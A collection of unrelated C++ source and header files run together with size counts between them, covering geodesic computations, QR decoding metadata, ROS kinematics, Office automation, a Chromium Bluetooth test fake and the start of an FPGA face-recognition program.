Math::real Inverse(real lat1, real lon1, real lat2, real lon2,
real& s12, real& azi1, real& azi2)
const throw() {
real t;
return GenInverse(lat1, lon1, lat2, lon2,
DISTANCE | AZIMUTH,
s12, azi1, azi2, t, t, t, t);
}
/**
* See the documentation for GeodesicExact::Inverse.
**********************************************************************/
Math::real Inverse(real lat1, real lon1, real lat2, real lon2,
real& s12, real& azi1, real& azi2, real& m12)
const throw() {
real t;
return GenInverse(lat1, lon1, lat2, lon2,
DISTANCE | AZIMUTH | REDUCEDLENGTH,
s12, azi1, azi2, m12, t, t, t);
}
/**
* See the documentation for GeodesicExact::Inverse.
**********************************************************************/
Math::real Inverse(real lat1, real lon1, real lat2, real lon2,
real& s12, real& azi1, real& azi2,
real& M12, real& M21) const throw() {
real t;
return GenInverse(lat1, lon1, lat2, lon2,
DISTANCE | AZIMUTH | GEODESICSCALE,
s12, azi1, azi2, t, M12, M21, t);
}
/**
* See the documentation for GeodesicExact::Inverse.
**********************************************************************/
Math::real Inverse(real lat1, real lon1, real lat2, real lon2,
real& s12, real& azi1, real& azi2, real& m12,
real& M12, real& M21) const throw() {
real t;
return GenInverse(lat1, lon1, lat2, lon2,
DISTANCE | AZIMUTH |
REDUCEDLENGTH | GEODESICSCALE,
s12, azi1, azi2, m12, M12, M21, t);
}
///@}
/** \name General version of inverse geodesic solution.
**********************************************************************/
///@{
/**
* The general inverse geodesic calculation. GeodesicExact::Inverse is
* defined in terms of this function.
*
* @param[in] lat1 latitude of point 1 (degrees).
* @param[in] lon1 longitude of point 1 (degrees).
* @param[in] lat2 latitude of point 2 (degrees).
* @param[in] lon2 longitude of point 2 (degrees).
* @param[in] outmask a bitor'ed combination of GeodesicExact::mask values
* specifying which of the following parameters should be set.
* @param[out] s12 distance between point 1 and point 2 (meters).
* @param[out] azi1 azimuth at point 1 (degrees).
* @param[out] azi2 (forward) azimuth at point 2 (degrees).
* @param[out] m12 reduced length of geodesic (meters).
* @param[out] M12 geodesic scale of point 2 relative to point 1
* (dimensionless).
* @param[out] M21 geodesic scale of point 1 relative to point 2
* (dimensionless).
* @param[out] S12 area under the geodesic (meters<sup>2</sup>).
* @return \e a12 arc length of between point 1 and point 2 (degrees).
*
* The GeodesicExact::mask values possible for \e outmask are
* - \e outmask |= GeodesicExact::DISTANCE for the distance \e s12;
* - \e outmask |= GeodesicExact::AZIMUTH for the latitude \e azi2;
* - \e outmask |= GeodesicExact::REDUCEDLENGTH for the reduced length \e
* m12;
* - \e outmask |= GeodesicExact::GEODESICSCALE for the geodesic scales \e
* M12 and \e M21;
* - \e outmask |= GeodesicExact::AREA for the area \e S12;
* - \e outmask |= GeodesicExact::ALL for all of the above.
* .
* The arc length is always computed and returned as the function value.
**********************************************************************/
Math::real GenInverse(real lat1, real lon1, real lat2, real lon2,
unsigned outmask,
real& s12, real& azi1, real& azi2,
real& m12, real& M12, real& M21, real& S12)
const throw();
///@}
/** \name Interface to GeodesicLineExact.
**********************************************************************/
///@{
/**
* Set up to compute several points on a single geodesic.
*
* @param[in] lat1 latitude of point 1 (degrees).
* @param[in] lon1 longitude of point 1 (degrees).
* @param[in] azi1 azimuth at point 1 (degrees).
* @param[in] caps bitor'ed combination of GeodesicExact::mask values
* specifying the capabilities the GeodesicLineExact object should
* possess, i.e., which quantities can be returned in calls to
* GeodesicLineExact::Position.
* @return a GeodesicLineExact object.
*
* \e lat1 should be in the range [−90°, 90°]; \e lon1 and \e
* azi1 should be in the range [−540°, 540°).
*
* The GeodesicExact::mask values are
* - \e caps |= GeodesicExact::LATITUDE for the latitude \e lat2; this is
* added automatically;
* - \e caps |= GeodesicExact::LONGITUDE for the latitude \e lon2;
* - \e caps |= GeodesicExact::AZIMUTH for the azimuth \e azi2; this is
* added automatically;
* - \e caps |= GeodesicExact::DISTANCE for the distance \e s12;
* - \e caps |= GeodesicExact::REDUCEDLENGTH for the reduced length \e m12;
* - \e caps |= GeodesicExact::GEODESICSCALE for the geodesic scales \e M12
* and \e M21;
* - \e caps |= GeodesicExact::AREA for the area \e S12;
* - \e caps |= GeodesicExact::DISTANCE_IN permits the length of the
* geodesic to be given in terms of \e s12; without this capability the
* length can only be specified in terms of arc length;
* - \e caps |= GeodesicExact::ALL for all of the above.
* .
* The default value of \e caps is GeodesicExact::ALL which turns on all
* the capabilities.
*
* If the point is at a pole, the azimuth is defined by keeping \e lon1
* fixed, writing \e lat1 = ±(90 − ε), and taking the
* limit ε → 0+.
**********************************************************************/
GeodesicLineExact Line(real lat1, real lon1, real azi1, unsigned caps = ALL)
const throw();
///@}
/** \name Inspector functions.
**********************************************************************/
///@{
/**
* @return \e a the equatorial radius of the ellipsoid (meters). This is
* the value used in the constructor.
**********************************************************************/
Math::real MajorRadius() const throw() { return _a; }
/**
* @return \e f the flattening of the ellipsoid. This is the
* value used in the constructor.
**********************************************************************/
Math::real Flattening() const throw() { return _f; }
/// \cond SKIP
/**
* <b>DEPRECATED</b>
* @return \e r the inverse flattening of the ellipsoid.
**********************************************************************/
Math::real InverseFlattening() const throw() { return 1/_f; }
/// \endcond
/**
* @return total area of ellipsoid in meters<sup>2</sup>. The area of a
* polygon encircling a pole can be found by adding
* GeodesicExact::EllipsoidArea()/2 to the sum of \e S12 for each side of
* the polygon.
**********************************************************************/
Math::real EllipsoidArea() const throw()
{ return 4 * Math::pi<real>() * _c2; }
///@}
/**
* A global instantiation of GeodesicExact with the parameters for the WGS84
* ellipsoid.
**********************************************************************/
static const GeodesicExact WGS84;
};
} // namespace GeographicLib
#endif // GEOGRAPHICLIB_GEODESICEXACT_HPP
| 34,438 | 11,328 |
#ifndef OPTIONS_HPP
#define OPTIONS_HPP
#include <cinttypes>
#include <fstream>
#include <stdexcept>
#include <vector>
#include "Arrays.hpp"
#include "Real.hpp"
namespace trinom
{
enum class SortType : char
{
WIDTH_DESC = 'W',
WIDTH_ASC = 'w',
HEIGHT_DESC = 'H',
HEIGHT_ASC = 'h',
NONE = '-'
};
enum class OptionType : int8_t
{
CALL = 0,
PUT = 1
};
inline std::ostream &operator<<(std::ostream &os, const OptionType t)
{
os << static_cast<int>(t);
return os;
}
inline std::istream &operator>>(std::istream &is, OptionType &t)
{
int c;
is >> c;
t = static_cast<OptionType>(c);
if (OptionType::CALL != t && OptionType::PUT != t)
{
throw std::out_of_range("Invalid OptionType read from stream.");
}
return is;
}
struct Options
{
int N;
std::vector<real> StrikePrices;
std::vector<real> Maturities;
std::vector<real> Lengths;
std::vector<uint16_t> TermUnits;
std::vector<uint16_t> TermStepCounts;
std::vector<real> ReversionRates;
std::vector<real> Volatilities;
std::vector<OptionType> Types;
Options(const int count)
{
N = count;
Lengths.reserve(N);
Maturities.reserve(N);
StrikePrices.reserve(N);
TermUnits.reserve(N);
TermStepCounts.reserve(N);
ReversionRates.reserve(N);
Volatilities.reserve(N);
Types.reserve(N);
}
Options(const std::string &filename)
{
if (filename.empty())
{
throw std::invalid_argument("File not specified.");
}
std::ifstream in(filename);
if (!in)
{
throw std::invalid_argument("File '" + filename + "' does not exist.");
}
Arrays::read_array(in, StrikePrices);
Arrays::read_array(in, Maturities);
Arrays::read_array(in, Lengths);
Arrays::read_array(in, TermUnits);
Arrays::read_array(in, TermStepCounts);
Arrays::read_array(in, ReversionRates);
Arrays::read_array(in, Volatilities);
Arrays::read_array(in, Types);
N = StrikePrices.size();
in.close();
}
void writeToFile(const std::string &filename)
{
if (filename.empty())
{
throw std::invalid_argument("File not specified.");
}
std::ofstream out(filename);
if (!out)
{
throw std::invalid_argument("File does not exist.");
}
Arrays::write_array(out, StrikePrices);
Arrays::write_array(out, Maturities);
Arrays::write_array(out, Lengths);
Arrays::write_array(out, TermUnits);
Arrays::write_array(out, TermStepCounts);
Arrays::write_array(out, ReversionRates);
Arrays::write_array(out, Volatilities);
Arrays::write_array(out, Types);
out.close();
}
};
} // namespace trinom
#endif | 2,900 | 993 |
#pragma once
#include <cstdint>
namespace NWNXLib {
namespace API {
struct ZSTD_optimal_t
{
int32_t price;
uint32_t off;
uint32_t mlen;
uint32_t litlen;
uint32_t rep[3];
};
}
}
| 203 | 97 |
// This file is part of OpenCV project.
// It is subject to the license terms in the LICENSE file found in the top-level directory
// of this distribution and at http://opencv.org/license.html.
//
// Tencent is pleased to support the open source community by making WeChat QRCode available.
// Copyright (C) 2020 THL A29 Limited, a Tencent company. All rights reserved.
//
// Modified from ZXing. Copyright ZXing authors.
// Licensed under the Apache License, Version 2.0 (the "License").
#ifndef __ZXING_QRCODE_DECODER_QRCODEDECODERMETADATA_HPP__
#define __ZXING_QRCODE_DECODER_QRCODEDECODERMETADATA_HPP__
#include "../../common/array.hpp"
#include "../../common/counted.hpp"
#include "../../resultpoint.hpp"
// VC++
// The main class which implements QR Code decoding -- as opposed to locating
// and extracting the QR Code from an image.
namespace zxing {
namespace qrcode {
/**
* Meta-data container for QR Code decoding. Instances of this class may be used
* to convey information back to the decoding caller. Callers are expected to
* process this.
*
* @see com.google.zxing.common.DecoderResult#getOther()
*/
class QRCodeDecoderMetaData : public Counted {
private:
bool mirrored_;
public:
explicit QRCodeDecoderMetaData(bool mirrored) : mirrored_(mirrored) {}
public:
/**
* @return true if the QR Code was mirrored.
*/
bool isMirrored() { return mirrored_; };
/**
* Apply the result points' order correction due to mirroring.
*
* @param points Array of points to apply mirror correction to.
*/
void applyMirroredCorrection(ArrayRef<Ref<ResultPoint> >& points) {
if (!mirrored_ || points->size() < 3) {
return;
}
Ref<ResultPoint> bottomLeft = points[0];
points[0] = points[2];
points[2] = bottomLeft;
// No need to 'fix' top-left and alignment pattern.
};
};
} // namespace qrcode
} // namespace zxing
#endif // __ZXING_QRCODE_DECODER_QRCODEDECODERMETADATA_HPP__
| 2,006 | 651 |
#include "stdafx.h"
void Gui::init()
{
//CHANGE ME
}
void Gui::draw()
{
//CHANGE ME
ImGui::Begin("Hello world window");
ImGui::Text("Hello world!");
ImGui::End();
}
void Gui::deinit()
{
//CHANGE ME
}
| 210 | 95 |
//! @file
//! @author cli2cpp.py - CLI library 2.9 (Alexis Royer, http://alexis.royer.free.fr/CLI/)
//! @date 2018-03-14T19:03:42.485341
//! @warning File auto-generated by 'cli2cpp.py' - Do not edit!
// ----- Pre-compiled headers -----
#include "cli/pch.h"
// ----- Extra cpp (option='head') -----
// ----- Includes -----
#include "cli/common.h"
// ----- Extra cpp (option='include') -----
// ----- Extra cpp (option='types') -----
// ----- Extra cpp (option='vars') -----
// ----- Cli class definition -----
class myCLI : public cli::Cli {
// ----- Sub-menus -----
// ----- Owner CLI -----
private: myCLI* m_pcliOwnerCli;
// ----- Menus -----
private: myCLI* m_pcli_cli_a;
// ----- Node members -----
// ----- Extra cpp (option='members') -----
// ----- Constructor -----
public: explicit myCLI(void) :
cli::Cli("myCLI", cli::Help())
{
Populate();
// ----- Extra cpp (option='constructor') -----
}
// ----- Destructor -----
public: virtual ~myCLI(void) {
}
// ----- Populate -----
public: void Populate(void) {
// CLI reference
m_pcliOwnerCli = dynamic_cast<myCLI*>(const_cast<cli::Cli*>(& GetCli()));
// Comment line patterns
// Create menus and populate
m_pcliOwnerCli->m_pcli_cli_a = this;
// Local nodes
// tag[@ref] -> tag[@id] connections
}
// ----- Menu execution -----
public: virtual const bool Execute(const cli::CommandLine& CLI_CmdLine) const {
{
static const cli::TraceClass CLI_EXECUTION("CLI_EXECUTION", cli::Help().AddHelp(cli::Help::LANG_EN, "CLI Execution traces").AddHelp(cli::Help::LANG_FR, "Traces d'exécution du CLI"));
cli::CommandLineIterator cli_Elements(CLI_CmdLine);
// myCLI>
m_pcli_cli_a_top_lbl: ;
{
if (! cli_Elements.StepIt()) return false;
cli::GetTraces().Trace(CLI_EXECUTION) << "context = \"myCLI>\", " << "word = " << (dynamic_cast<const cli::Endl*>(*cli_Elements) ? "<CR>" : (const char*) (*cli_Elements)->GetKeyword()) << cli::endl;
return false;
}
m_pcli_cli_a_end_lbl: ;
}
return false;
}
public: virtual const bool OnError(const cli::ResourceString& location, const cli::ResourceString& message) const {
return Cli::OnError(location, message);
}
public: virtual void OnExit(void) const {
}
public: virtual const cli::tk::String OnPrompt(void) const {
return Menu::OnPrompt();
}
};
// ----- Node creation -----
// ----- Extra cpp (option='body') -----
// ----- Extra cpp (option='tail') -----
| 2,712 | 920 |
/******************************************************************************
Copyright (c) 2017, Alexander W. Winkler. All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of the copyright holder nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
******************************************************************************/
#include <xpp_vis/cartesian_joint_converter.h>
#include <ros/node_handle.h>
#include <xpp_msgs/RobotStateJoint.h>
#include <xpp_states/convert.h>
namespace xpp {
CartesianJointConverter::CartesianJointConverter (const InverseKinematics::Ptr& ik,
const std::string& cart_topic,
const std::string& joint_topic)
{
inverse_kinematics_ = ik;
::ros::NodeHandle n;
cart_state_sub_ = n.subscribe(cart_topic, 1, &CartesianJointConverter::StateCallback, this);
ROS_DEBUG("Subscribed to: %s", cart_state_sub_.getTopic().c_str());
joint_state_pub_ = n.advertise<xpp_msgs::RobotStateJoint>(joint_topic, 1);
ROS_DEBUG("Publishing to: %s", joint_state_pub_.getTopic().c_str());
}
void
CartesianJointConverter::StateCallback (const xpp_msgs::RobotStateCartesian& cart_msg)
{
auto cart = Convert::ToXpp(cart_msg);
// transform feet from world -> base frame
Eigen::Matrix3d B_R_W = cart.base_.ang.q.normalized().toRotationMatrix().inverse();
EndeffectorsPos ee_B(cart.ee_motion_.GetEECount());
for (auto ee : ee_B.GetEEsOrdered())
ee_B.at(ee) = B_R_W * (cart.ee_motion_.at(ee).p_ - cart.base_.lin.p_);
Eigen::VectorXd q = inverse_kinematics_->GetAllJointAngles(ee_B).ToVec();
xpp_msgs::RobotStateJoint joint_msg;
joint_msg.base = cart_msg.base;
joint_msg.ee_contact = cart_msg.ee_contact;
joint_msg.time_from_start = cart_msg.time_from_start;
joint_msg.joint_state.position = std::vector<double>(q.data(), q.data()+q.size());
// Attention: Not filling joint velocities or torques
joint_state_pub_.publish(joint_msg);
}
} /* namespace xpp */
| 3,355 | 1,151 |
// SPDX-License-Identifier: Apache-2.0
// Copyright 2021 - 2021, the Anboto author and contributors
#ifdef _WIN32
#include <Core/Core.h>
using namespace Upp;
#include <Functions4U/Functions4U.h>
#include "OfficeAutomation.h"
#include "OfficeAutomationBase.h"
OfficeDoc::OfficeDoc() {
Ole::Init();
}
OfficeDoc::~OfficeDoc() {
Ole::Close();
}
bool OfficeDoc::Init(const char *name) {
return PluginInit(*this, name);
}
bool DocPlugin::IsAvailable() {return false;}
bool OfficeDoc::IsAvailable(const char *_name) {
for (int i = 0; i < Plugins().GetCount(); ++i) {
if (Plugins()[i].name == _name && Plugins()[i].type == typeid(OfficeDoc).name()) {
void *dat = Plugins()[i].New();
if (!dat)
return false;
bool ret = (static_cast<DocPlugin *>(dat))->IsAvailable();
Plugins()[i].Delete(dat);
return ret;
}
}
return false;
}
bool DocPlugin::AddDoc(bool visible) {return false;}
bool OfficeDoc::AddDoc(bool visible) {return (static_cast<DocPlugin *>(GetData()))->AddDoc(visible);}
bool DocPlugin::OpenDoc(String fileName, bool visible) {return false;}
bool OfficeDoc::OpenDoc(String fileName, bool visible) {return (static_cast<DocPlugin *>(GetData()))->OpenDoc(fileName, visible);}
bool DocPlugin::SetFont(String font, int size) {return false;}
bool OfficeDoc::SetFont(String font, int size) {return (static_cast<DocPlugin *>(GetData()))->SetFont(font, size);}
bool DocPlugin::SetBold(bool bold) {return false;}
bool OfficeDoc::SetBold(bool bold) {return (static_cast<DocPlugin *>(GetData()))->SetBold(bold);}
bool DocPlugin::SetItalic(bool italic) {return false;}
bool OfficeDoc::SetItalic(bool italic) {return (static_cast<DocPlugin *>(GetData()))->SetItalic(italic);}
bool DocPlugin::WriteText(String value) {return false;}
bool OfficeDoc::WriteText(String value) {return (static_cast<DocPlugin *>(GetData()))->WriteText(value);}
bool DocPlugin::Select() {return false;}
bool OfficeDoc::Select() {return (static_cast<DocPlugin *>(GetData()))->Select();}
bool DocPlugin::EnableCommandVars(bool) {return false;}
bool OfficeDoc::EnableCommandVars(bool enable) {return (static_cast<DocPlugin *>(GetData()))->EnableCommandVars(enable);}
bool DocPlugin::Replace(String search, String replace) {return false;}
bool OfficeDoc::Replace(String search, String replace) {return (static_cast<DocPlugin *>(GetData()))->Replace(search, replace);}
bool DocPlugin::Print() {return false;}
bool OfficeDoc::Print() {return (static_cast<DocPlugin *>(GetData()))->Print();}
bool DocPlugin::SaveAs(String fileName, String _type) {return false;}
bool OfficeDoc::SaveAs(String fileName, String _type) {return (static_cast<DocPlugin *>(GetData()))->SaveAs(fileName, _type);}
bool DocPlugin::Quit() {return false;}
bool OfficeDoc::Quit() {return (static_cast<DocPlugin *>(GetData()))->Quit();}
bool DocPlugin::SetSaved(bool saved) {return false;}
bool OfficeDoc::SetSaved(bool saved) {return (static_cast<DocPlugin *>(GetData()))->SetSaved(saved);}
#endif | 2,977 | 992 |
// Copyright 2018 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "device/bluetooth/test/fake_radio_winrt.h"
#include <utility>
#include "base/bind.h"
#include "base/test/bind_test_util.h"
#include "base/threading/thread_task_runner_handle.h"
#include "base/win/async_operation.h"
namespace device {
namespace {
using ABI::Windows::Devices::Radios::Radio;
using ABI::Windows::Devices::Radios::RadioAccessStatus;
using ABI::Windows::Devices::Radios::RadioAccessStatus_Allowed;
using ABI::Windows::Devices::Radios::RadioAccessStatus_DeniedBySystem;
using ABI::Windows::Devices::Radios::RadioKind;
using ABI::Windows::Devices::Radios::RadioState;
using ABI::Windows::Devices::Radios::RadioState_Off;
using ABI::Windows::Devices::Radios::RadioState_On;
using ABI::Windows::Foundation::Collections::IVectorView;
using ABI::Windows::Foundation::IAsyncOperation;
using ABI::Windows::Foundation::ITypedEventHandler;
using Microsoft::WRL::Make;
} // namespace
FakeRadioWinrt::FakeRadioWinrt() = default;
FakeRadioWinrt::~FakeRadioWinrt() = default;
HRESULT FakeRadioWinrt::SetStateAsync(
RadioState value,
IAsyncOperation<RadioAccessStatus>** operation) {
auto async_op = Make<base::win::AsyncOperation<RadioAccessStatus>>();
set_state_callback_ = async_op->callback();
// Schedule a callback that will run |set_state_callback_| with Status_Allowed
// and invokes |state_changed_handler_| if |value| is different from |state_|.
// Capturing |this| as safe here, as the callback won't be run if
// |cancelable_closure_| gets destroyed first.
cancelable_closure_.Reset(base::BindLambdaForTesting([this, value] {
std::move(set_state_callback_).Run(RadioAccessStatus_Allowed);
if (std::exchange(state_, value) != value)
state_changed_handler_->Invoke(this, nullptr);
}));
base::ThreadTaskRunnerHandle::Get()->PostTask(FROM_HERE,
cancelable_closure_.callback());
*operation = async_op.Detach();
return S_OK;
}
HRESULT FakeRadioWinrt::add_StateChanged(
ITypedEventHandler<Radio*, IInspectable*>* handler,
EventRegistrationToken* event_cookie) {
state_changed_handler_ = handler;
return S_OK;
}
HRESULT FakeRadioWinrt::remove_StateChanged(
EventRegistrationToken event_cookie) {
state_changed_handler_.Reset();
return S_OK;
}
HRESULT FakeRadioWinrt::get_State(RadioState* value) {
*value = state_;
return S_OK;
}
HRESULT FakeRadioWinrt::get_Name(HSTRING* value) {
return E_NOTIMPL;
}
HRESULT FakeRadioWinrt::get_Kind(RadioKind* value) {
return E_NOTIMPL;
}
void FakeRadioWinrt::SimulateAdapterPowerFailure() {
DCHECK(set_state_callback_);
// Cancel the task scheduled in SetStateAsync() and run the stored callback
// with an error code.
cancelable_closure_.Reset(base::BindOnce(std::move(set_state_callback_),
RadioAccessStatus_DeniedBySystem));
base::ThreadTaskRunnerHandle::Get()->PostTask(FROM_HERE,
cancelable_closure_.callback());
}
void FakeRadioWinrt::SimulateAdapterPoweredOn() {
state_ = RadioState_On;
DCHECK(state_changed_handler_);
state_changed_handler_->Invoke(this, nullptr);
}
void FakeRadioWinrt::SimulateAdapterPoweredOff() {
state_ = RadioState_Off;
DCHECK(state_changed_handler_);
state_changed_handler_->Invoke(this, nullptr);
}
void FakeRadioWinrt::SimulateSpuriousStateChangedEvent() {
state_changed_handler_->Invoke(this, nullptr);
}
FakeRadioStaticsWinrt::FakeRadioStaticsWinrt() = default;
FakeRadioStaticsWinrt::~FakeRadioStaticsWinrt() = default;
HRESULT FakeRadioStaticsWinrt::GetRadiosAsync(
IAsyncOperation<IVectorView<Radio*>*>** value) {
return E_NOTIMPL;
}
HRESULT FakeRadioStaticsWinrt::GetDeviceSelector(HSTRING* device_selector) {
return E_NOTIMPL;
}
HRESULT FakeRadioStaticsWinrt::FromIdAsync(HSTRING device_id,
IAsyncOperation<Radio*>** value) {
return E_NOTIMPL;
}
void FakeRadioStaticsWinrt::SimulateRequestAccessAsyncError(
ABI::Windows::Devices::Radios::RadioAccessStatus status) {
access_status_ = status;
}
HRESULT FakeRadioStaticsWinrt::RequestAccessAsync(
IAsyncOperation<RadioAccessStatus>** operation) {
auto async_op = Make<base::win::AsyncOperation<RadioAccessStatus>>();
base::ThreadTaskRunnerHandle::Get()->PostTask(
FROM_HERE, base::BindOnce(async_op->callback(), access_status_));
*operation = async_op.Detach();
return S_OK;
}
} // namespace device
| 4,641 | 1,509 |
#ifndef RAYTRACER_SHAPE_HPP
#define RAYTRACER_SHAPE_HPP
#include <string>
#include <ostream>
#include "color.hpp"
#include "ray.hpp"
#include "hitpoint.hpp"
#include <glm/vec3.hpp>
#include <glm/glm.hpp>
#include <memory>
class Shape {
public:
Shape();
Shape(std::string const &name, std::shared_ptr<Material> const& material);
virtual float area() const = 0;
virtual float volume() const = 0;
friend std::ostream &operator<<(std::ostream &os, const Shape &shape);
virtual HitPoint intersect(Ray const& ray) const = 0;
virtual std::ostream& print(std::ostream &os = std::cout) const;
virtual glm::vec3 normal(glm::vec3 const& p) const = 0; //point has to be on the object!
void scale(float x,float y,float z);
void translate(float x,float y,float z);
void rotate(float angle,float x,float y,float z);
const glm::mat4 &getWorldTransformation() const;
const glm::mat4 &getWorldTransformationInv() const;
std::string get_name() const;
protected:
std::string name_;
std::shared_ptr<Material> material_;
glm::mat4 world_transformation_;
glm::mat4 world_transformation_inv_;
};
#endif //RAYTRACER_SHAPE_HPP
| 1,203 | 430 |
#include "Hardware.h"
Hardware Hardware::hw = Hardware();
void Hardware::init() {
for(int i = 0; i < GATE_OUTPUTS; i++) {
gateOutputs[i]->init();
}
for(int i = 0; i < GATE_OUTPUTS; i++) {
gateOutputs[i]->digitalWrite(false);
}
mcp23s17Device.gpioPortUpdate(); // TODO move to send() function
}
void Hardware::updateOutputs() {
#if defined(ALGORHYTHM_MKII)
mcp23s17Device.gpioPortUpdate(); // TODO move to send() function
#endif
#if defined(ALGORHYTHM_MKI)
Hardware::hw.hc595Device.send();
#endif
} | 570 | 229 |
/**
* @file src/fileinfo/file_information/file_information_types/relocation_table/relocation.cpp
* @brief Class for one relocation.
* @copyright (c) 2017 Avast Software, licensed under the MIT license
*/
#include "fileinfo/file_information/file_information_types/relocation_table/relocation.h"
#include "fileinfo/file_information/file_information_types/type_conversions.h"
namespace fileinfo {
/**
* Get name of associated symbol
* @return Name of associated symbol
*/
std::string Relocation::getSymbolName() const
{
return symbolName;
}
/**
* Get relocation offset
* @param format Format of result (e.g. std::dec, std::hex)
* @return Relocation offset
*/
std::string Relocation::getOffsetStr(std::ios_base &(* format)(std::ios_base &)) const
{
return getNumberAsString(offset, format);
}
/**
* Get value of associated symbol
* @return Value of associated symbol
*/
std::string Relocation::getSymbolValueStr() const
{
return getNumberAsString(symbolValue);
}
/**
* Get relocation type
* @return Type of relocation
*/
std::string Relocation::getRelocationTypeStr() const
{
return getNumberAsString(relocationType);
}
/**
* Get relocation addend
* @return Relocation addend
*/
std::string Relocation::getAddendStr() const
{
return getNumberAsString(addend);
}
/**
* Get calculated value
* @return Calculated value
*/
std::string Relocation::getCalculatedValueStr() const
{
return getNumberAsString(calculatedValue);
}
/**
* Set name of associated symbol
* @param name Name of symbol associated with relocation
*/
void Relocation::setSymbolName(std::string name)
{
symbolName = name;
}
/**
* Set relocation offset
* @param value Relocation offset
*/
void Relocation::setOffset(unsigned long long value)
{
offset = value;
}
/**
* Set value of symbol associated with relocation
* @param value Value of symbol associated with relocation
*/
void Relocation::setSymbolValue(unsigned long long value)
{
symbolValue = value;
}
/**
* Set type of relocation
* @param type Type of relocation
*/
void Relocation::setRelocationType(unsigned long long type)
{
relocationType = type;
}
/**
* Set relocation addend
* @param value Relocation addend
*/
void Relocation::setAddend(long long value)
{
addend = value;
}
/**
* Set calculated value
* @param value Calculated value
*/
void Relocation::setCalculatedValue(long long value)
{
calculatedValue = value;
}
} // namespace fileinfo
| 2,433 | 730 |
//=====================================================================
// (c) Copyright EFC of NICS; Tsinghua University. All rights reserved.
// Author : Kai Zhong
// Email : zhongk15@mails.tsinghua.edu.cn
// Create Date : 2019.06.10
// File Name : process.cpp
// Description : read pairs of picture name and process them with dpu
// then get the result of face recognation and write
// into the result file or save in picture.
// Dependencies : opencv 2.4.9
// g++
//=====================================================================
//---------------------------------------------------------------------
// include
//---------------------------------------------------------------------
#define _BSD_SOURCE
#define _XOPEN_SOURCE 500
#include <assert.h>
#include <fcntl.h>
#include <getopt.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <time.h>
#include <byteswap.h>
#include <errno.h>
#include <signal.h>
#include <ctype.h>
#include <termios.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/types.h>
#include <iostream>
#include <fstream>
#include <sstream>
#include <string>
#include <vector>
#include <queue>
#include <opencv2/opencv.hpp>
#include <opencv2/core/core.hpp>
#include <opencv2/highgui/highgui.hpp>
#include <opencv2/imgproc/imgproc.hpp>
//---------------------------------------------------------------------
// namespace
//---------------------------------------------------------------------
using namespace std;
using namespace cv;
//---------------------------------------------------------------------
// define
//---------------------------------------------------------------------
/* base address of dpu which shouldn't be changed while hardware is not */
#define INST1_DDR_ADDR 0x6D000000
#define DATA1_DDR_ADDR 0x6A000000
#define WEIT1_DDR_ADDR 0x60000000
#define INST2_DDR_ADDR 0xED000000
#define DATA2_DDR_ADDR 0xEA000000
#define WEIT2_DDR_ADDR 0xE0000000
/* file name of PCIE DMA driver which shouldn't be changed */
#define DMA_H2C_DEVICE "/dev/xdma0_h2c_0"
#define DMA_C2H_DEVICE "/dev/xdma0_c2h_0"
#define DMA_REG_DEVICE "/dev/xdma0_user"
/* customized definations which can be changed according to different app */
#define THRESHOLD 0.29
#define WEIT_FILE_NAME "../weight/concat_svd_weight.bin"
#define INST_FILE_NAME "../weight/concat_svd_instr.bin"
/* define of some simple functions */
/* ltoh: little to host htol: little to host */
#if __BYTE_ORDER == __LITTLE_ENDIAN
# define ltohl(x) (x)
# define ltohs(x) (x)
# define htoll(x) (x)
# define htols(x) (x)
#elif __BYTE_ORDER == __BIG_ENDIAN
# define ltohl(x) __bswap_32(x)
# define ltohs(x) __bswap_16(x)
# define htoll(x) __bswap_32(x)
# define htols(x) __bswap_16(x)
#endif
/* error output function */
#define FATAL do { \
fprintf(stderr, "Error at line %d, file %s (%d) [%s]\n", __LINE__, __FILE__, errno, strerror(errno)); \
exit(1); \
} while(0)
/* timing profiling function */
//#define TIMING(log_str)do { \
// gettimeofday(&end, NULL); \
// timeuse = 1000000*(end.tv_sec-start.tv_sec)+end.tv_usec-start.tv_usec; \
// printf(log_str, pair, timeuse/1000000.0); \
//} while(0)
#define MAP_SIZE (32*1024UL)
#define MAP_MASK (MAP_SIZE - 1)
//---------------------------------------------------------------------
// class and struct
//---------------------------------------------------------------------
class MyMat {
public:
Mat _mat;
// default constructor
MyMat() {}
// copy constructor overload (USED BY Push)
MyMat(const MyMat& src) {
src._mat.copyTo(_mat);
}
// Assignment (=) Operator overloading (USED BY Pop)
MyMat& operator=(const MyMat& src) {
src._mat.copyTo(_mat);
return *this;
}
};
//---------------------------------------------------------------------
// global varibale
//---------------------------------------------------------------------
static bool save_flag = 0;
static bool show_flag = 0;
vector<string> img_path_pairs;
queue<MyMat> fifo_img_1;
queue<MyMat> fifo_img_2;
queue<String> fifo_img_name_1;
queue<String> fifo_img_name_2;
ofstream output_results;
long timeuse;
struct timeval start, end;
stringstream ss;
//---------------------------------------------------------------------
// declaration of functions
//---------------------------------------------------------------------
